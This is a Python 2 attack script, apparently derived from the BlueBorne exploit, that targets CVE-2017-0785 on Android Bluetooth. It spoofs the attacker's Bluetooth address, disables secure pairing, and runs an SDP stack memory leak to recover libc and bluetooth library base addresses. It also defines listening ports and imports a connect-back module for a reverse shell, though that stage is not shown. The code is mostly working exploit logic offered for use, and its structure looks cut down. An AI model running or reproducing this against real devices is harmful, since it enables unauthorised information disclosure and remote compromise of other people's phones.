import os
import sys
import time
import struct
import select
import binascii

import bluetooth
from bluetooth import _bluetooth as bt

from pwn import log

import bluedroid
import connectback

# Listening TCP ports that need to be opened on the attacker machine
NC_PORT = 1233
STDOUT_PORT = 1234
STDIN_PORT = 1235

MAX_BT_NAME = 0xf5

PWNING_TIMEOUT = 3
BNEP_PSM = 15
PWN_ATTEMPTS = 1
LEAK_ATTEMPTS = 3

def memory_leak_get_bases(src, src_hci, dst):
    prog = log.progress('Doing stack memory leak...')

    # Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack.
    result = bluedroid.do_sdp_info_leak(dst, src)

    # Calculate according to known libc.so and bluetooth.default.so binaries
    likely_some_libc_blx_offset = result[-3][-2]
    likely_some_bluetooth_default_global_var_offset = result[6][0]

    log.info('libc: 0x%08x, bss: 0x%08x' % (likely_some_libc_blx_offset, likely_some_bluetooth_default_global_var_offset))

    # Close SDP ACL connection
    os.system('hcitool dc %s' % (dst,))
    time.sleep(0.1)

    prog.success()
    #return libc_text_base, bluetooth_default_bss_base
    return likely_some_libc_blx_offset, likely_some_bluetooth_default_global_var_offset

def set_rand_bdaddr(src_hci):
    addr = ['%02x' % (ord(c),) for c in os.urandom(6)]
    # NOTW: works only with CSR bluetooth adapters!
    os.system('sudo bccmd -d %s psset -r bdaddr 0x%s 0x00 0x%s 0x%s 0x%s 0x00 0x%s 0x%s' %
              (src_hci, addr[3], addr[5], addr[4], addr[2], addr[1], addr[0]))
    final_addr = ':'.join(addr)
    log.info('Set %s to new rand BDADDR %s' % (src_hci, final_addr))
    #time.sleep(1)
    while bt.hci_devid(final_addr) < 0:
        time.sleep(0.1)
    return final_addr

def main(src_hci, dst):
	try:
	    os.system('hciconfig %s sspmode 0' % (src_hci,))
	    os.system('hcitool dc %s' % (dst,))

	    for i in range(PWN_ATTEMPTS):
		log.info('Pwn attempt %d:' % (i,))

		# Create a new BDADDR
		src = set_rand_bdaddr(src_hci)

		# Try to leak section bases
		for j in range(LEAK_ATTEMPTS):
		    libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases(src, src_hci, dst)
		    if (libc_text_base & 0xfff == 0) and (bluetooth_default_bss_base & 0xfff == 0):
		        break
	    b = [dst,'CVE-2017-0785']
	    return b
	except:
	    print 'error!!'	
if __name__ == '__main__':
    main(*sys.argv[1:])
